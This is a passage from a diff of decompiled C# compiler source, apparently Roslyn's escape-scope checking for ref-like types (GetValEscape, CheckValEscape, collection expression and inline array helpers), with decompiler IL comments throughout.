Math.Max(GetValEscape(boundWithExpression.Receiver, scopeOfTheContainingExpression), GetValEscape(boundWithExpression.InitializerExpression, scopeOfTheContainingExpression)); + } + case BoundKind.UnaryOperator: + return GetValEscape(((BoundUnaryOperator)expr).Operand, scopeOfTheContainingExpression); + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expr; + if (boundConversion.ConversionKind == ConversionKind.InterpolatedStringHandler) + { + return GetInterpolatedStringHandlerConversionEscapeScope(boundConversion.Operand, scopeOfTheContainingExpression); + } + if (boundConversion.ConversionKind == ConversionKind.CollectionExpression) + { + if (!HasLocalScope((BoundCollectionExpression)boundConversion.Operand)) + { + return 0u; + } + return 2u; + } + if (boundConversion.Conversion.IsInlineArray) + { + ImmutableArray arguments; + ImmutableArray refKinds; + SignatureOnlyMethodSymbol inlineArrayConversionEquivalentSignatureMethod = GetInlineArrayConversionEquivalentSignatureMethod(boundConversion, out arguments, out refKinds); + return GetInvocationEscapeScope(inlineArrayConversionEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayConversionEquivalentSignatureMethod.Parameters, arguments, refKinds, default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: false); + } + return GetValEscape(boundConversion.Operand, scopeOfTheContainingExpression); + } + case BoundKind.AssignmentOperator: + return GetValEscape(((BoundAssignmentOperator)expr).Right, scopeOfTheContainingExpression); + case BoundKind.IncrementOperator: + return GetValEscape(((BoundIncrementOperator)expr).Operand, scopeOfTheContainingExpression); + case BoundKind.CompoundAssignmentOperator: + { + BoundCompoundAssignmentOperator boundCompoundAssignmentOperator = (BoundCompoundAssignmentOperator)expr; + return Math.Max(GetValEscape(boundCompoundAssignmentOperator.Left, scopeOfTheContainingExpression), GetValEscape(boundCompoundAssignmentOperator.Right, scopeOfTheContainingExpression)); + } + case BoundKind.BinaryOperator: + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)expr; + return Math.Max(GetValEscape(boundBinaryOperator.Left, scopeOfTheContainingExpression), GetValEscape(boundBinaryOperator.Right, scopeOfTheContainingExpression)); + } + case BoundKind.RangeExpression: + { + BoundRangeExpression boundRangeExpression = (BoundRangeExpression)expr; + BoundExpression leftOperandOpt = boundRangeExpression.LeftOperandOpt; + uint val = ((leftOperandOpt != null) ? GetValEscape(leftOperandOpt, scopeOfTheContainingExpression) : 0); + BoundExpression rightOperandOpt = boundRangeExpression.RightOperandOpt; + return Math.Max(val, (rightOperandOpt != null) ? GetValEscape(rightOperandOpt, scopeOfTheContainingExpression) : 0u); + } + case BoundKind.UserDefinedConditionalLogicalOperator: + { + BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator = (BoundUserDefinedConditionalLogicalOperator)expr; + return Math.Max(GetValEscape(boundUserDefinedConditionalLogicalOperator.Left, scopeOfTheContainingExpression), GetValEscape(boundUserDefinedConditionalLogicalOperator.Right, scopeOfTheContainingExpression)); + } + case BoundKind.QueryClause: + return GetValEscape(((BoundQueryClause)expr).Value, scopeOfTheContainingExpression); + case BoundKind.RangeVariable: + return GetValEscape(((BoundRangeVariable)expr).Value, scopeOfTheContainingExpression); + case BoundKind.ObjectInitializerExpression: + { + BoundObjectInitializerExpression initExpr = (BoundObjectInitializerExpression)expr; + return GetValEscapeOfObjectInitializer(initExpr, scopeOfTheContainingExpression); + } + case BoundKind.CollectionInitializerExpression: + { + BoundCollectionInitializerExpression boundCollectionInitializerExpression = (BoundCollectionInitializerExpression)expr; + return GetValEscape(boundCollectionInitializerExpression.Initializers, scopeOfTheContainingExpression); + } + case BoundKind.CollectionElementInitializer: + { + BoundCollectionElementInitializer boundCollectionElementInitializer = (BoundCollectionElementInitializer)expr; + return GetValEscape(boundCollectionElementInitializer.Arguments, scopeOfTheContainingExpression); + } + case BoundKind.ObjectInitializerMember: + return scopeOfTheContainingExpression; + case BoundKind.ObjectOrCollectionValuePlaceholder: + case BoundKind.ImplicitReceiver: + return scopeOfTheContainingExpression; + case BoundKind.InterpolatedStringHandlerPlaceholder: + return scopeOfTheContainingExpression; + case BoundKind.DisposableValuePlaceholder: + return scopeOfTheContainingExpression; + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + return 0u; + case BoundKind.ArrayAccess: + case BoundKind.AwaitExpression: + case BoundKind.AsOperator: + case BoundKind.ConditionalAccess: + case BoundKind.ConditionalReceiver: + return scopeOfTheContainingExpression; + case BoundKind.UnconvertedSwitchExpression: + case BoundKind.ConvertedSwitchExpression: + { + BoundSwitchExpression boundSwitchExpression = (BoundSwitchExpression)expr; + return GetValEscape(ImmutableArrayExtensions.SelectAsArray(boundSwitchExpression.SwitchArms, (Func)((BoundSwitchExpressionArm a) => a.Value)), scopeOfTheContainingExpression); + } + default: + return scopeOfTheContainingExpression; + } + } + + private bool HasLocalScope(BoundCollectionExpression expr) + { + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Invalid comparison between Unknown and I4 + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Invalid comparison between Unknown and I4 + TypeSymbol type = expr.Type; + if ((object)type == null || !type.IsRefLikeType || expr.Elements.Length == 0) + { + return false; + } + TypeWithAnnotations elementType; + CollectionExpressionTypeKind collectionExpressionTypeKind = ConversionsBase.GetCollectionExpressionTypeKind(_compilation, expr.Type, out elementType); + switch (collectionExpressionTypeKind) + { + case CollectionExpressionTypeKind.ReadOnlySpan: + return !LocalRewriter.ShouldUseRuntimeHelpersCreateSpan(expr, elementType.Type); + case CollectionExpressionTypeKind.Span: + return true; + case CollectionExpressionTypeKind.CollectionBuilder: + { + MethodSymbol collectionBuilderMethod = expr.CollectionBuilderMethod; + if ((object)collectionBuilderMethod != null) + { + ImmutableArray parameters = collectionBuilderMethod.Parameters; + if (parameters.Length == 1) + { + ParameterSymbol parameterSymbol = parameters[0]; + if ((object)parameterSymbol != null && (int)parameterSymbol.RefKind == 0) + { + if ((int)parameterSymbol.EffectiveScope == 2) + { + return false; + } + if (LocalRewriter.ShouldUseRuntimeHelpersCreateSpan(expr, ((NamedTypeSymbol)parameterSymbol.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type)) + { + return false; + } + return true; + } + } + } + return true; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)collectionExpressionTypeKind); + } + } + + private uint GetTupleValEscape(ImmutableArray elements, uint scopeOfTheContainingExpression) + { + uint num = scopeOfTheContainingExpression; + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + num = Math.Max(num, GetValEscape(current, scopeOfTheContainingExpression)); + } + return num; + } + + private uint GetValEscapeOfObjectInitializer(BoundObjectInitializerExpression initExpr, uint scopeOfTheContainingExpression) + { + uint num = 0u; + ImmutableArray.Enumerator enumerator = initExpr.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.AssignmentOperator) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)current; + uint val = (boundAssignmentOperator.IsRef ? GetRefEscape(boundAssignmentOperator.Right, scopeOfTheContainingExpression) : GetValEscape(boundAssignmentOperator.Right, scopeOfTheContainingExpression)); + num = Math.Max(num, val); + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)boundAssignmentOperator.Left; + num = Math.Max(num, GetValEscape(boundObjectInitializerMember.Arguments, scopeOfTheContainingExpression)); + } + else + { + num = Math.Max(num, GetValEscape(current, scopeOfTheContainingExpression)); + } + } + return num; + } + + private uint GetValEscape(ImmutableArray expressions, uint scopeOfTheContainingExpression) + { + uint num = 0u; + ImmutableArray.Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + num = Math.Max(num, GetValEscape(current, scopeOfTheContainingExpression)); + } + return num; + } + + internal bool CheckValEscape(SyntaxNode node, BoundExpression expr, uint escapeFrom, uint escapeTo, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_04a7: Unknown result type (might be due to invalid IL or missing references) + //IL_06c5: Unknown result type (might be due to invalid IL or missing references) + //IL_0549: Unknown result type (might be due to invalid IL or missing references) + //IL_05cd: Unknown result type (might be due to invalid IL or missing references) + //IL_02e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0298: Unknown result type (might be due to invalid IL or missing references) + //IL_0336: Unknown result type (might be due to invalid IL or missing references) + //IL_061a: Unknown result type (might be due to invalid IL or missing references) + //IL_0826: Unknown result type (might be due to invalid IL or missing references) + if (escapeTo >= escapeFrom) + { + return true; + } + if (expr.HasAnyErrors) + { + return true; + } + if (expr.ConstantValueOpt != (ConstantValue)null) + { + return true; + } + TypeSymbol? type = expr.Type; + if ((object)type == null || !type.IsRefLikeType) + { + return true; + } + bool inUnsafeRegion = _inUnsafeRegion; + switch (expr.Kind) + { + case BoundKind.ThisReference: + { + ParameterSymbol thisParameter = _symbol.ThisParameter; + return CheckParameterValEscape(node, thisParameter, escapeTo, diagnostics); + } + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + case BoundKind.Utf8String: + return true; + case BoundKind.Parameter: + return CheckParameterValEscape(node, ((BoundParameter)expr).ParameterSymbol, escapeTo, diagnostics); + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + { + BoundTupleExpression boundTupleExpression = (BoundTupleExpression)expr; + return CheckTupleValEscape(boundTupleExpression.Arguments, escapeFrom, escapeTo, diagnostics); + } + case BoundKind.MakeRefOperator: + case BoundKind.RefValueOperator: + return true; + case BoundKind.DiscardExpression: + return true; + case BoundKind.DeconstructValuePlaceholder: + case BoundKind.AwaitableValuePlaceholder: + case BoundKind.InterpolatedStringArgumentPlaceholder: + if (GetPlaceholderScope((BoundValuePlaceholderBase)expr) > escapeTo) + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_EscapeVariable : ErrorCode.ERR_EscapeVariable, SyntaxNodeOrToken.op_Implicit(node), expr.Syntax); + return inUnsafeRegion; + } + return true; + case BoundKind.Local: + { + LocalSymbol localSymbol = ((BoundLocal)expr).LocalSymbol; + if (GetLocalScopes(localSymbol).ValEscapeScope > escapeTo) + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_EscapeVariable : ErrorCode.ERR_EscapeVariable, SyntaxNodeOrToken.op_Implicit(node), localSymbol); + return inUnsafeRegion; + } + return true; + } + case BoundKind.CapturedReceiverPlaceholder: + { + BoundExpression receiver = ((BoundCapturedReceiverPlaceholder)expr).Receiver; + return CheckValEscape(receiver.Syntax, receiver, escapeFrom, escapeTo, checkingReceiver, diagnostics); + } + case BoundKind.StackAllocArrayCreation: + case BoundKind.ConvertedStackAllocExpression: + if (escapeTo < 2) + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_EscapeStackAlloc : ErrorCode.ERR_EscapeStackAlloc, SyntaxNodeOrToken.op_Implicit(node), expr.Type); + return inUnsafeRegion; + } + return true; + case BoundKind.UnconvertedConditionalOperator: + { + BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator = (BoundUnconvertedConditionalOperator)expr; + if (CheckValEscape(boundUnconvertedConditionalOperator.Consequence.Syntax, boundUnconvertedConditionalOperator.Consequence, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return CheckValEscape(boundUnconvertedConditionalOperator.Alternative.Syntax, boundUnconvertedConditionalOperator.Alternative, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return false; + } + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)expr; + bool flag2 = CheckValEscape(boundConditionalOperator.Consequence.Syntax, boundConditionalOperator.Consequence, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + if (!flag2 || boundConditionalOperator.IsRef) + { + return flag2; + } + return CheckValEscape(boundConditionalOperator.Alternative.Syntax, boundConditionalOperator.Alternative, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.NullCoalescingOperator: + { + BoundNullCoalescingOperator boundNullCoalescingOperator = (BoundNullCoalescingOperator)expr; + if (CheckValEscape(boundNullCoalescingOperator.LeftOperand.Syntax, boundNullCoalescingOperator.LeftOperand, escapeFrom, escapeTo, checkingReceiver, diagnostics)) + { + return CheckValEscape(boundNullCoalescingOperator.RightOperand.Syntax, boundNullCoalescingOperator.RightOperand, escapeFrom, escapeTo, checkingReceiver, diagnostics); + } + return false; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic || !fieldSymbol.ContainingType.IsRefLikeType) + { + return true; + } + return CheckValEscape(node, boundFieldAccess.ReceiverOpt, escapeFrom, escapeTo, checkingReceiver: true, diagnostics); + } + case BoundKind.Call: + { + BoundCall boundCall2 = (BoundCall)expr; + MethodSymbol method2 = boundCall2.Method; + return CheckInvocationEscape(boundCall2.Syntax, method2, boundCall2.ReceiverOpt, boundCall2.InitialBindingReceiverIsSubjectToCloning, method2.Parameters, boundCall2.Arguments, boundCall2.ArgumentRefKindsOpt, boundCall2.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)expr; + FunctionPointerMethodSymbol signature = boundFunctionPointerInvocation.FunctionPointer.Signature; + return CheckInvocationEscape(boundFunctionPointerInvocation.Syntax, signature, null, (ThreeState)0, signature.Parameters, boundFunctionPointerInvocation.Arguments, boundFunctionPointerInvocation.ArgumentRefKindsOpt, default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess2 = (BoundIndexerAccess)expr; + PropertySymbol indexer2 = boundIndexerAccess2.Indexer; + return CheckInvocationEscape(boundIndexerAccess2.Syntax, indexer2, boundIndexerAccess2.ReceiverOpt, boundIndexerAccess2.InitialBindingReceiverIsSubjectToCloning, indexer2.Parameters, boundIndexerAccess2.Arguments, boundIndexerAccess2.ArgumentRefKindsOpt, boundIndexerAccess2.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)expr; + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (!(indexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess)) + { + if (!(indexerOrSliceAccess is BoundArrayAccess)) + { + if (indexerOrSliceAccess is BoundCall boundCall) + { + MethodSymbol method = boundCall.Method; + return CheckInvocationEscape(boundCall.Syntax, method, boundImplicitIndexerAccess.Receiver, boundCall.InitialBindingReceiverIsSubjectToCloning, method.Parameters, boundCall.Arguments, boundCall.ArgumentRefKindsOpt, boundCall.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + throw ExceptionUtilities.UnexpectedValue((object)boundImplicitIndexerAccess.IndexerOrSliceAccess.Kind); + } + return false; + } + PropertySymbol indexer = boundIndexerAccess.Indexer; + return CheckInvocationEscape(boundIndexerAccess.Syntax, indexer, boundImplicitIndexerAccess.Receiver, boundIndexerAccess.InitialBindingReceiverIsSubjectToCloning, indexer.Parameters, boundIndexerAccess.Arguments, boundIndexerAccess.ArgumentRefKindsOpt, boundIndexerAccess.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)expr; + ImmutableArray arguments; + ImmutableArray refKinds; + SignatureOnlyMethodSymbol inlineArrayAccessEquivalentSignatureMethod = GetInlineArrayAccessEquivalentSignatureMethod(boundInlineArrayAccess, out arguments, out refKinds); + return CheckInvocationEscape(boundInlineArrayAccess.Syntax, inlineArrayAccessEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayAccessEquivalentSignatureMethod.Parameters, arguments, refKinds, default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + return CheckInvocationEscape(boundPropertyAccess.Syntax, boundPropertyAccess.PropertySymbol, boundPropertyAccess.ReceiverOpt, boundPropertyAccess.InitialBindingReceiverIsSubjectToCloning, default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + case BoundKind.ObjectCreationExpression: + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)expr; + MethodSymbol constructor = boundObjectCreationExpression.Constructor; + bool flag = CheckInvocationEscape(boundObjectCreationExpression.Syntax, constructor, null, (ThreeState)0, constructor.Parameters, boundObjectCreationExpression.Arguments, boundObjectCreationExpression.ArgumentRefKindsOpt, boundObjectCreationExpression.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + BoundObjectInitializerExpressionBase initializerExpressionOpt = boundObjectCreationExpression.InitializerExpressionOpt; + if (initializerExpressionOpt != null) + { + flag = flag && CheckValEscape(initializerExpressionOpt.Syntax, initializerExpressionOpt, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return flag; + } + case BoundKind.WithExpression: + { + BoundWithExpression boundWithExpression = (BoundWithExpression)expr; + bool num = CheckValEscape(node, boundWithExpression.Receiver, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + BoundObjectInitializerExpressionBase initializerExpression = boundWithExpression.InitializerExpression; + if (num) + { + return CheckValEscape(initializerExpression.Syntax, initializerExpression, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return false; + } + case BoundKind.UnaryOperator: + { + BoundUnaryOperator boundUnaryOperator = (BoundUnaryOperator)expr; + return CheckValEscape(node, boundUnaryOperator.Operand, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.FromEndIndexExpression: + return true; + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expr; + if (boundConversion.ConversionKind == ConversionKind.InterpolatedStringHandler) + { + return CheckInterpolatedStringHandlerConversionEscape(boundConversion.Operand, escapeFrom, escapeTo, diagnostics); + } + if (boundConversion.ConversionKind == ConversionKind.CollectionExpression) + { + if (HasLocalScope((BoundCollectionExpression)boundConversion.Operand) && escapeTo < 2) + { + Error(diagnostics, ErrorCode.ERR_CollectionExpressionEscape, SyntaxNodeOrToken.op_Implicit(node), expr.Type); + return false; + } + return true; + } + if (boundConversion.Conversion.IsInlineArray) + { + ImmutableArray arguments2; + ImmutableArray refKinds2; + SignatureOnlyMethodSymbol inlineArrayConversionEquivalentSignatureMethod = GetInlineArrayConversionEquivalentSignatureMethod(boundConversion, out arguments2, out refKinds2); + return CheckInvocationEscape(boundConversion.Syntax, inlineArrayConversionEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayConversionEquivalentSignatureMethod.Parameters, arguments2, refKinds2, default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: false); + } + return CheckValEscape(node, boundConversion.Operand, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expr; + return CheckValEscape(node, boundAssignmentOperator.Left, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.IncrementOperator: + { + BoundIncrementOperator boundIncrementOperator = (BoundIncrementOperator)expr; + return CheckValEscape(node, boundIncrementOperator.Operand, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.CompoundAssignmentOperator: + { + BoundCompoundAssignmentOperator boundCompoundAssignmentOperator = (BoundCompoundAssignmentOperator)expr; + if (CheckValEscape(boundCompoundAssignmentOperator.Left.Syntax, boundCompoundAssignmentOperator.Left, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return CheckValEscape(boundCompoundAssignmentOperator.Right.Syntax, boundCompoundAssignmentOperator.Right, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return false; + } + case BoundKind.BinaryOperator: + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)expr; + if (boundBinaryOperator.OperatorKind == BinaryOperatorKind.Utf8Addition) + { + return true; + } + if (CheckValEscape(boundBinaryOperator.Left.Syntax, boundBinaryOperator.Left, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return CheckValEscape(boundBinaryOperator.Right.Syntax, boundBinaryOperator.Right, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return false; + } + case BoundKind.RangeExpression: + { + BoundRangeExpression boundRangeExpression = (BoundRangeExpression)expr; + BoundExpression leftOperandOpt = boundRangeExpression.LeftOperandOpt; + if (leftOperandOpt != null && !CheckValEscape(leftOperandOpt.Syntax, leftOperandOpt, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return false; + } + BoundExpression rightOperandOpt = boundRangeExpression.RightOperandOpt; + if (rightOperandOpt != null) + { + return CheckValEscape(rightOperandOpt.Syntax, rightOperandOpt, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return true; + } + case BoundKind.UserDefinedConditionalLogicalOperator: + { + BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator = (BoundUserDefinedConditionalLogicalOperator)expr; + if (CheckValEscape(boundUserDefinedConditionalLogicalOperator.Left.Syntax, boundUserDefinedConditionalLogicalOperator.Left, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return CheckValEscape(boundUserDefinedConditionalLogicalOperator.Right.Syntax, boundUserDefinedConditionalLogicalOperator.Right, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return false; + } + case BoundKind.QueryClause: + { + BoundExpression value3 = ((BoundQueryClause)expr).Value; + return CheckValEscape(value3.Syntax, value3, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.RangeVariable: + { + BoundExpression value2 = ((BoundRangeVariable)expr).Value; + return CheckValEscape(value2.Syntax, value2, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + case BoundKind.ObjectInitializerExpression: + { + BoundObjectInitializerExpression initExpr = (BoundObjectInitializerExpression)expr; + return CheckValEscapeOfObjectInitializer(initExpr, escapeFrom, escapeTo, diagnostics); + } + case BoundKind.CollectionInitializerExpression: + { + BoundCollectionInitializerExpression boundCollectionInitializerExpression = (BoundCollectionInitializerExpression)expr; + return CheckValEscape(boundCollectionInitializerExpression.Initializers, escapeFrom, escapeTo, diagnostics); + } + case BoundKind.CollectionElementInitializer: + { + BoundCollectionElementInitializer boundCollectionElementInitializer = (BoundCollectionElementInitializer)expr; + return CheckValEscape(boundCollectionElementInitializer.Arguments, escapeFrom, escapeTo, diagnostics); + } + case BoundKind.PointerElementAccess: + { + BoundExpression expression = ((BoundPointerElementAccess)expr).Expression; + return CheckValEscape(expression.Syntax, expression, escapeFrom, escapeTo, checkingReceiver, diagnostics); + } + case BoundKind.PointerIndirectionOperator: + { + BoundExpression operand = ((BoundPointerIndirectionOperator)expr).Operand; + return CheckValEscape(operand.Syntax, operand, escapeFrom, escapeTo, checkingReceiver, diagnostics); + } + case BoundKind.ArrayAccess: + case BoundKind.AwaitExpression: + case BoundKind.AsOperator: + case BoundKind.ConditionalAccess: + return false; + case BoundKind.UnconvertedSwitchExpression: + case BoundKind.ConvertedSwitchExpression: + { + ImmutableArray.Enumerator enumerator = ((BoundSwitchExpression)expr).SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression value = enumerator.Current.Value; + if (!CheckValEscape(value.Syntax, value, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return false; + } + } + return true; + } + default: + diagnostics.Add(ErrorCode.ERR_InternalError, node.Location); + return false; + } + } + + private SignatureOnlyMethodSymbol GetInlineArrayAccessEquivalentSignatureMethod(BoundInlineArrayAccess elementAccess, out ImmutableArray arguments, out ImmutableArray refKinds) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + WellKnownMember getItemOrSliceHelper = elementAccess.GetItemOrSliceHelper; + RefKind val; + RefKind val2; + if (((int)getItemOrSliceHelper == 400 || (int)getItemOrSliceHelper == 406) ? true : false) + { + if (elementAccess.IsValue) + { + val = (RefKind)0; + val2 = (RefKind)0; + } + else + { + val = (RefKind)(((int)elementAccess.GetItemOrSliceHelper != 406) ? 1 : 3); + val2 = val; + } + } + else + { + getItemOrSliceHelper = elementAccess.GetItemOrSliceHelper; + if (((int)getItemOrSliceHelper != 402 && (int)getItemOrSliceHelper != 408) || 1 == 0) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder.ValueChecks.cs", 4765); + } + val = (RefKind)0; + val2 = (RefKind)(((int)elementAccess.GetItemOrSliceHelper != 408) ? 1 : 3); + } + SignatureOnlyMethodSymbol result = new SignatureOnlyMethodSymbol("", _symbol.ContainingType, (MethodKind)10, (CallingConvention)0, ImmutableArray.Empty, ImmutableArray.Create((ParameterSymbol)new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(elementAccess.Expression.Type), ImmutableArray.Empty, isParams: false, val2)), val, isInitOnly: false, isStatic: true, TypeWithAnnotations.Create(elementAccess.Type), ImmutableArray.Empty, ImmutableArray.Empty); + arguments = ImmutableArray.Create(elementAccess.Expression); + refKinds = ImmutableArray.Create(val2); + return result; + } + + private SignatureOnlyMethodSymbol GetInlineArrayConversionEquivalentSignatureMethod(BoundConversion conversion, out ImmutableArray arguments, out ImmutableArray refKinds) + { + return GetInlineArrayConversionEquivalentSignatureMethod(conversion.Operand, conversion.Type, out arguments, out refKinds); + } + + private SignatureOnlyMethodSymbol GetInlineArrayConversionEquivalentSignatureMethod(BoundExpression inlineArray, TypeSymbol resultType, out ImmutableArray arguments, out ImmutableArray refKinds) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + RefKind val = (RefKind)((!resultType.OriginalDefinition.Equals(_compilation.GetWellKnownType((WellKnownType)276), (TypeCompareKind)63)) ? 1 : 3); + SignatureOnlyMethodSymbol result = new SignatureOnlyMethodSymbol("", _symbol.ContainingType, (MethodKind)10, (CallingConvention)0, ImmutableArray.Empty, ImmutableArray.Create((ParameterSymbol)new SignatureOnlyParameterSymbol(TypeWithAnnotations.Create(inlineArray.Type), ImmutableArray.Empty, isParams: false, val)), (RefKind)0, isInitOnly: false, isStatic: true, TypeWithAnnotations.Create(resultType), ImmutableArray.Empty, ImmutableArray.Empty); + arguments = ImmutableArray.Create(inlineArray); + refKinds = ImmutableArray.Create(val); + return result; + } + + private bool CheckTupleValEscape(ImmutableArray elements, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (!CheckValEscape(current.Syntax, current, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return false; + } + } + return true; + } + + private bool CheckValEscapeOfObjectInitializer(BoundObjectInitializerExpression initExpr, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = initExpr.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.AssignmentOperator) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)current; + if (!(boundAssignmentOperator.IsRef ? CheckRefEscape(current.Syntax, boundAssignmentOperator.Right, escapeFrom, escapeTo, checkingReceiver: false, diagnostics) : CheckValEscape(current.Syntax, boundAssignmentOperator.Right, escapeFrom, escapeTo, checkingReceiver: false, diagnostics))) + { + return false; + } + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)boundAssignmentOperator.Left; + if (!CheckValEscape(boundObjectInitializerMember.Arguments, escapeFrom, 